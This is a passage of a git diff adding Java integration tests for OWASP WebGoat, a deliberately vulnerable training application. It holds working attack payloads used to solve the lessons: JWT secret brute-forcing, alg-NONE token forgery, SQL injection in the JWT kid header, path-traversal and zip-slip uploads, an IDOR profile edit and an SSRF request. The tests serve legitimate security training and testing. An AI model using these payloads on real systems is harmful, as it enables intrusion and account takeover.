.extract().path("lessonCompleted"), CoreMatchers.is(true)); + + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) //part of the lesson + .body("{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\", \"userId\":\"2342388\"}") + .put(url("/WebGoat/IDOR/profile/2342388")) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + + + } + +} diff --git a/src/it/java/org/owasp/webgoat/IntegrationTest.java b/src/it/java/org/owasp/webgoat/IntegrationTest.java new file mode 100644 index 000000000..c04c9578d --- /dev/null +++ b/src/it/java/org/owasp/webgoat/IntegrationTest.java @@ -0,0 +1,231 @@ +package org.owasp.webgoat; + +import io.restassured.RestAssured; +import io.restassured.http.ContentType; +import lombok.Getter; +import org.hamcrest.CoreMatchers; +import org.hamcrest.MatcherAssert; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; + +import java.util.Map; +import java.util.Objects; + +import static io.restassured.RestAssured.given; + +public abstract class IntegrationTest { + + private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport")); + @Getter + private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport")); + private static boolean useSSL = false; + private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/"; + private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/"; + @Getter + private String webGoatCookie; + @Getter + private String webWolfCookie; + @Getter + private String user = "webgoat"; + + protected String url(String url) { + url = url.replaceFirst("/WebGoat/", ""); + url = url.replaceFirst("/WebGoat", ""); + url = url.startsWith("/") ? url.replaceFirst("/", "") : url; + return webgoatUrl + url; + } + + protected String webWolfUrl(String url) { + url = url.replaceFirst("/WebWolf/", ""); + url = url.replaceFirst("/WebWolf", ""); + url = url.startsWith("/") ? url.replaceFirst("/", "") : url; + return webWolfUrl + url; + } + + @BeforeEach + public void login() { + String location = given() + .when() + .relaxedHTTPSValidation() + .formParam("username", user) + .formParam("password", "password") + .post(url("login")).then() + .cookie("JSESSIONID") + .statusCode(302) + .extract().header("Location"); + if (location.endsWith("?error")) { + webGoatCookie = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .formParam("username", user) + .formParam("password", "password") + .formParam("matchingPassword", "password") + .formParam("agree", "agree") + .post(url("register.mvc")) + .then() + .cookie("JSESSIONID") + .statusCode(302) + .extract() + .cookie("JSESSIONID"); + } else { + webGoatCookie = given() + .when() + .relaxedHTTPSValidation() + .formParam("username", user) + .formParam("password", "password") + .post(url("login")).then() + .cookie("JSESSIONID") + .statusCode(302) + .extract().cookie("JSESSIONID"); + } + + webWolfCookie = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .formParam("username", user) + .formParam("password", "password") + .post(webWolfUrl("login")) + .then() + .statusCode(302) + .cookie("WEBWOLFSESSION") + .extract() + .cookie("WEBWOLFSESSION"); + } + + @AfterEach + public void logout() { + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .get(url("logout")) + .then() + .statusCode(200); + } + + public void startLesson(String lessonName) { + startLesson(lessonName, false); + } + + public void startLesson(String lessonName, boolean restart) { + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url(lessonName + ".lesson.lesson")) + .then() + .statusCode(200); + + if (restart) { + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/restartlesson.mvc")) + .then() + .statusCode(200); + } + } + + public void checkAssignment(String url, Map params, boolean expectedResult) { + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParams(params) + .post(url) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); + } + + public void checkAssignmentWithPUT(String url, Map params, boolean expectedResult) { + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParams(params) + .put(url) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); + } + + //TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are only required to be in the same package) + public void checkResults(String prefix) { + checkResults(); + + MatcherAssert.assertThat(RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/lessonoverview.mvc")) + .then() + .statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix))); + + } + + public void checkResults() { + var result = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/lessonoverview.mvc")) + .andReturn(); + + MatcherAssert.assertThat(result.then() + .statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true))); + } + + public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) { + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(contentType) + .cookie("JSESSIONID", getWebGoatCookie()) + .body(body) + .post(url) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); + } + + public void checkAssignmentWithGet(String url, Map params, boolean expectedResult) { + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .queryParams(params) + .get(url) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); + } + + public String getWebWolfFileServerLocation() { + String result = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .get(webWolfUrl("/file-server-location")) + .then() + .extract().response().getBody().asString(); + result = result.replace("%20", " "); + return result; + } + + public String webGoatServerDirectory() { + return RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/server-directory")) + .then() + .extract().response().getBody().asString(); + } + +} + diff --git a/src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java b/src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java new file mode 100644 index 000000000..536eec117 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java @@ -0,0 +1,216 @@ +package org.owasp.webgoat; + +import java.io.IOException; +import java.nio.charset.Charset; +import java.security.InvalidKeyException; +import java.security.NoSuchAlgorithmException; +import java.time.Instant; +import java.util.Base64; +import java.util.Calendar; +import java.util.Date; +import java.util.HashMap; +import java.util.Map; + +import org.hamcrest.CoreMatchers; +import org.hamcrest.MatcherAssert; +import org.junit.jupiter.api.Test; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.node.ObjectNode; + +import io.jsonwebtoken.Header; +import io.jsonwebtoken.JwsHeader; +import io.jsonwebtoken.Jwt; +import io.jsonwebtoken.JwtException; +import io.jsonwebtoken.Jwts; +import io.jsonwebtoken.SignatureAlgorithm; +import io.jsonwebtoken.impl.TextCodec; +import io.restassured.RestAssured; +import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint; + +public class JWTLessonIntegrationTest extends IntegrationTest { + + @Test + public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException { + startLesson("JWT"); + + decodingToken(); + + resetVotes(); + + findPassword(); + + buyAsTom(); + + deleteTom(); + + quiz(); + + checkResults("/JWT/"); + } + + private String generateToken(String key) { + + return Jwts.builder() + .setIssuer("WebGoat Token Builder") + .setAudience("webgoat.org") + .setIssuedAt(Calendar.getInstance().getTime()) + .setExpiration(Date.from(Instant.now().plusSeconds(60))) + .setSubject("tom@webgoat.org") + .claim("username", "WebGoat") + .claim("Email", "tom@webgoat.org") + .claim("Role", new String[] {"Manager", "Project Administrator"}) + .signWith(SignatureAlgorithm.HS256, key).compact(); + } + + private String getSecretToken(String token) { + for (String key : JWTSecretKeyEndpoint.SECRETS) { + try { + Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token); + } catch (JwtException e) { + continue; + } + return TextCodec.BASE64.encode(key); + } + return null; + } + + private void decodingToken() { + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParam("jwt-encode-user", "user") + .post(url("/WebGoat/JWT/decode")) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + + } + + private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException { + + String accessToken = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/WebGoat/JWT/secret/gettoken")) + .then() + .extract().response().asString(); + + String secret = getSecretToken(accessToken); + + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParam("token", generateToken(secret)) + .post(url("/WebGoat/JWT/secret")) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + + } + + private void resetVotes() throws IOException { + String accessToken = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/WebGoat/JWT/votings/login?user=Tom")) + .then() + .extract().cookie("access_token"); + + String header = accessToken.substring(0, accessToken.indexOf(".")); + header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset()))); + + String body = accessToken.substring(1+accessToken.indexOf("."), accessToken.lastIndexOf(".")); + body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset()))); + + ObjectMapper mapper = new ObjectMapper(); + JsonNode headerNode = mapper.readTree(header); + headerNode = ((ObjectNode) headerNode).put("alg","NONE"); + + JsonNode bodyObject = mapper.readTree(body); + bodyObject = ((ObjectNode) bodyObject).put("admin","true"); + + String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())) + .concat(".") + .concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString()) + .concat(".").replace("=", ""); + + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .cookie("access_token", replacedToken) + .post(url("/WebGoat/JWT/votings")) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + } + + private void buyAsTom() throws IOException { + + String header = new String(Base64.getUrlDecoder().decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset()))); + + String body = new String(Base64.getUrlDecoder().decode("eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0".getBytes(Charset.defaultCharset()))); + + body = body.replace("Jerry", "Tom"); + + ObjectMapper mapper = new ObjectMapper(); + JsonNode headerNode = mapper.readTree(header); + headerNode = ((ObjectNode) headerNode).put("alg", "NONE"); + + String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())).concat(".") + .concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString()) + .concat(".").replace("=", ""); + + MatcherAssert.assertThat(RestAssured.given() + .when().relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("Authorization","Bearer "+replacedToken) + .post(url("/WebGoat/JWT/refresh/checkout")) + .then().statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + } + + private void deleteTom() { + + Map header = new HashMap(); + header.put(Header.TYPE, Header.JWT_TYPE); + header.put(JwsHeader.KEY_ID, "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --"); + String token = Jwts.builder() + .setHeader(header) + .setIssuer("WebGoat Token Builder") + .setAudience("webgoat.org") + .setIssuedAt(Calendar.getInstance().getTime()) + .setExpiration(Date.from(Instant.now().plusSeconds(60))) + .setSubject("tom@webgoat.org") + .claim("username", "Tom") + .claim("Email", "tom@webgoat.org") + .claim("Role", new String[] {"Manager", "Project Administrator"}) + .signWith(SignatureAlgorithm.HS256, "deletingTom").compact(); + + MatcherAssert.assertThat(RestAssured.given() + .when().relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .post(url("/WebGoat/JWT/final/delete?token="+token)) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + } + + private void quiz() { + Map params = new HashMap<>(); + params.put("question_0_solution", "Solution 1"); + params.put("question_1_solution", "Solution 2"); + + checkAssignment(url("/WebGoat/JWT/quiz"), params, true); + } + +} diff --git a/src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java b/src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java new file mode 100644 index 000000000..1f99c15e7 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java @@ -0,0 +1,170 @@ +package org.owasp.webgoat; + +import io.restassured.RestAssured; +import io.restassured.http.ContentType; +import io.restassured.path.json.JsonPath; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +import java.io.FileInputStream; +import java.io.InputStream; +import java.util.List; +import java.util.Properties; + +public class LabelAndHintIntegrationTest extends IntegrationTest { + + final static String ESCAPE_JSON_PATH_CHAR = "\'"; + + @Test + public void testSingleLabel() { + Assertions.assertTrue(true); + JsonPath jsonPath = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .header("Accept-Language","en") + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath(); + + Assertions.assertEquals("Try again: but this time enter a value before hitting go.", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"http-basics.close"+ESCAPE_JSON_PATH_CHAR)); + + // check if lang parameter overrules Accept-Language parameter + jsonPath = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .header("Accept-Language","en") + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/labels.mvc?lang=nl")).then().statusCode(200).extract().jsonPath(); + Assertions.assertEquals("Gebruikersnaam", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); + + jsonPath = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .header("Accept-Language","en") + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/labels.mvc?lang=de")).then().statusCode(200).extract().jsonPath(); + Assertions.assertEquals("Benutzername", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); + + // check if invalid language returns english + jsonPath = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .header("Accept-Language","nl") + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/labels.mvc?lang=xx")).then().statusCode(200).extract().jsonPath(); + Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); + + // check if invalid language returns english + jsonPath = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .header("Accept-Language","xx_YY") + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath(); + Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); + + } + + @Test + public void testHints() { + JsonPath jsonPathLabels = getLabels("en"); + List allLessons = List.of( + "HttpBasics", + "HttpProxies", "CIA", "InsecureLogin", "Cryptography", "PathTraversal", + "XXE", "JWT", "IDOR", "SSRF", "WebWolfIntroduction", "CrossSiteScripting", "CSRF", "HijackSession", + "SqlInjection", "SqlInjectionMitigations" ,"SqlInjectionAdvanced", + "Challenge1"); + for (String lesson: allLessons) { + startLesson(lesson); + List hintKeys = getHints(); + for (String key : hintKeys) { + String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR); + //System.out.println("key: " + key + " ,value: " + keyValue); + Assertions.assertNotNull(keyValue); + Assertions.assertNotEquals(key, keyValue); + } + } + //Assertions.assertEquals("http-basics.hints.http_basics_lesson.1", ""+jsonPath.getList("hint").get(0)); + } + + @Test + public void testLabels() { + + JsonPath jsonPathLabels = getLabels("en"); + Properties propsDefault = getProperties(""); + for (String key: propsDefault.stringPropertyNames()) { + String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR); + Assertions.assertNotNull(keyValue); + } + checkLang(propsDefault,"nl"); + checkLang(propsDefault,"de"); + checkLang(propsDefault,"fr"); + checkLang(propsDefault,"ru"); + + } + + private Properties getProperties(String lang) { + Properties prop = null; + if (lang == null || lang.equals("")) { lang = ""; } else { lang = "_"+lang; } + try (InputStream input = new FileInputStream("src/main/resources/i18n/messages"+lang+".properties")) { + + prop = new Properties(); + // load a properties file + prop.load(input); + } catch (Exception e) { + e.printStackTrace(); + } + return prop; + } + + private void checkLang(Properties propsDefault, String lang) { + JsonPath jsonPath = getLabels(lang); + Properties propsLang = getProperties(lang); + + for (String key: propsLang.stringPropertyNames()) { + if (!propsDefault.containsKey(key)) { + System.err.println("key: " + key + " in (" +lang+") is missing from default properties"); + Assertions.fail(); + } + if (!jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR).equals(propsLang.get(key))) { + System.out.println("key: " + key + " in (" +lang+") has incorrect translation in label service"); + System.out.println("actual:"+jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR)); + System.out.println("expected: "+propsLang.getProperty(key)); + System.out.println(); + Assertions.fail(); + } + } + } + + private JsonPath getLabels(String lang) { + return RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .header("Accept-Language",lang) + .cookie("JSESSIONID", getWebGoatCookie()) + //.log().headers() + .get(url("service/labels.mvc")) + .then() + //.log().all() + .statusCode(200).extract().jsonPath(); + } + + private List getHints() { + JsonPath jsonPath = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/hint.mvc")) + .then() + //.log().all() + .statusCode(200).extract().jsonPath(); + return jsonPath.getList("hint"); + } + +} diff --git a/src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java b/src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java new file mode 100644 index 000000000..6e030d039 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java @@ -0,0 +1,118 @@ +package org.owasp.webgoat; + +import io.restassured.RestAssured; +import lombok.SneakyThrows; + +import org.apache.commons.lang3.StringUtils; +import org.assertj.core.api.Assertions; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DynamicTest; +import org.junit.jupiter.api.TestFactory; + +import static org.junit.jupiter.api.DynamicTest.dynamicTest; + +import java.util.Arrays; +import java.util.Map; + +public class PasswordResetLessonIntegrationTest extends IntegrationTest { + + @BeforeEach + @SneakyThrows + public void init() { + startLesson("/PasswordReset"); + } + + @TestFactory + Iterable passwordResetLesson() { + return Arrays.asList( + dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailableInWebWolf()), + dynamicTest("assignment 6 - solve assignment",()-> solveAssignment()), + dynamicTest("assignment 2 - simple reset",()-> assignment2()), + dynamicTest("assignment 4 - guess questions",()-> assignment4()), + dynamicTest("assignment 5 - simple questions",()-> assignment5()) + ); + } + public void assignment2() { + checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false); + checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true); + } + + public void assignment4() { + checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true); + } + + public void assignment5() { + checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false); + checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true); + } + + + public void solveAssignment() { + //WebGoat + clickForgotEmailLink("tom@webgoat-cloud.org"); + + //WebWolf + var link = getPasswordResetLinkFromLandingPage(); + + //WebGoat + changePassword(link); + checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true); + } + + public void sendEmailShouldBeAvailableInWebWolf() { + clickForgotEmailLink(this.getUser() + "@webgoat.org"); + + var responseBody = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .get(webWolfUrl("/WebWolf/mail")) + .then() + .extract().response().getBody().asString(); + + Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link"); + } + + @AfterEach + public void shutdown() { + //this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete + checkResults("/PasswordReset"); + } + + private void changePassword(String link) { + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParams("resetLink", link, "password", "123456") + .post(url("PasswordReset/reset/change-password")) + .then() + .statusCode(200); + } + + private String getPasswordResetLinkFromLandingPage() { + var responseBody = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .get(webWolfUrl("/WebWolf/requests")) + .then() + .extract().response().getBody().asString(); + int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/"); + var link = responseBody.substring(startIndex + "/PasswordReset/reset/reset-password/".length(), responseBody.indexOf(",", startIndex) - 1); + return link; + } + + private void clickForgotEmailLink(String user) { + RestAssured.given() + .when() + .header("host", String.format("%s:%s", "localhost", getWebWolfPort())) + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParams("email", user) + .post(url("PasswordReset/ForgotPassword/create-password-reset-link")) + .then() + .statusCode(200); + } +} diff --git a/src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java b/src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java new file mode 100644 index 000000000..3eb53ee8e --- /dev/null +++ b/src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java @@ -0,0 +1,137 @@ +package org.owasp.webgoat; + +import io.restassured.RestAssured; +import lombok.SneakyThrows; +import org.hamcrest.CoreMatchers; +import org.hamcrest.MatcherAssert; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DynamicTest; +import org.junit.jupiter.api.TestFactory; +import org.junit.jupiter.api.io.TempDir; +import org.springframework.security.core.token.Sha512DigestUtils; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.Arrays; +import java.util.Map; +import java.util.zip.ZipEntry; +import java.util.zip.ZipOutputStream; + +import static org.junit.jupiter.api.DynamicTest.dynamicTest; + +class PathTraversalIT extends IntegrationTest { + + @TempDir + Path tempDir; + + private File fileToUpload = null; + + @BeforeEach + @SneakyThrows + public void init() { + fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile(); + Files.write(fileToUpload.toPath(), "This is a test".getBytes()); + startLesson("PathTraversal"); + } + + @TestFactory + Iterable testPathTraversal() { + return Arrays.asList( + dynamicTest("assignment 1 - profile upload", () -> assignment1()), + dynamicTest("assignment 2 - profile upload fix", () -> assignment2()), + dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()), + dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()), + dynamicTest("assignment 5 - zip slip", () -> assignment5()) + ); + } + + private void assignment1() throws IOException { + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath())) + .param("fullName", "../John Doe") + .post(url("/WebGoat/PathTraversal/profile-upload")) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + } + + private void assignment2() throws IOException { + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath())) + .param("fullNameFix", "..././John Doe") + .post(url("/WebGoat/PathTraversal/profile-upload-fix")) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + } + + private void assignment3() throws IOException { + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath())) + .post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input")) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + } + + private void assignment4() throws IOException { + var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret"; + RestAssured.given().urlEncodingEnabled(false) + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url(uri)) + .then() + .statusCode(200) + .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer")); + + checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret", + Sha512DigestUtils.shaHex(this.getUser())), true); + } + + private void assignment5() throws IOException { + var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser(); + webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows + + var webGoatDirectory = new File(webGoatHome); + var zipFile = new File(tempDir.toFile(), "upload.zip"); + try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) { + ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg"); + zos.putNextEntry(e); + zos.write("test".getBytes(StandardCharsets.UTF_8)); + } + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath())) + .post(url("/WebGoat/PathTraversal/zip-slip")) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + } + + @AfterEach + void shutdown() { + //this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete + checkResults("/PathTraversal"); + } +} diff --git a/src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java b/src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java new file mode 100644 index 000000000..8b8b870ea --- /dev/null +++ b/src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java @@ -0,0 +1,53 @@ +package org.owasp.webgoat; + +import io.restassured.RestAssured; +import io.restassured.response.Response; + +import org.assertj.core.api.Assertions; +import org.junit.jupiter.api.Test; + +import java.util.List; +import java.util.Map; +import java.util.concurrent.Callable; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.stream.Collectors; +import java.util.stream.IntStream; + +public class ProgressRaceConditionIntegrationTest extends IntegrationTest { + + @Test + public void runTests() throws InterruptedException { + int NUMBER_OF_CALLS = 40; + int NUMBER_OF_PARALLEL_THREADS = 5; + startLesson("Challenge1"); + + Callable call = () -> { + //System.out.println("thread "+Thread.currentThread().getName()); + return RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParams(Map.of("flag", "test")) + .post(url("/challenge/flag/")); + + }; + ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS); + List> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList()); + var responses = executorService.invokeAll(flagCalls); + + //A certain amount of parallel calls should fail as optimistic locking in DB is applied + long countStatusCode500 = responses.stream().filter(r -> { + try { + //System.err.println(r.get().getStatusCode()); + return r.get().getStatusCode() != 200; + } catch (InterruptedException | ExecutionException e) { + //System.err.println(e); + throw new IllegalStateException(e); + } + }).count(); + System.err.println("counted status 500: "+countStatusCode500); + Assertions.assertThat(countStatusCode500).isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS/NUMBER_OF_PARALLEL_THREADS))); + } +} diff --git a/src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java b/src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java new file mode 100644 index 000000000..e59499108 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java @@ -0,0 +1,30 @@ +package org.owasp.webgoat; + +import java.io.IOException; +import java.util.HashMap; +import java.util.Map; + +import org.junit.jupiter.api.Test; + +public class SSRFIntegrationTest extends IntegrationTest { + + @Test + public void runTests() throws IOException { + startLesson("SSRF"); + + Map params = new HashMap<>(); + params.clear(); + params.put("url", "images/jerry.png"); + + checkAssignment(url("/WebGoat/SSRF/task1"),params,true); + params.clear(); + params.put("url", "http://ifconfig.pro"); + + checkAssignment(url("/WebGoat/SSRF/task2"),params,true); + + checkResults("/SSRF/"); + + } + + +} diff --git a/src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java 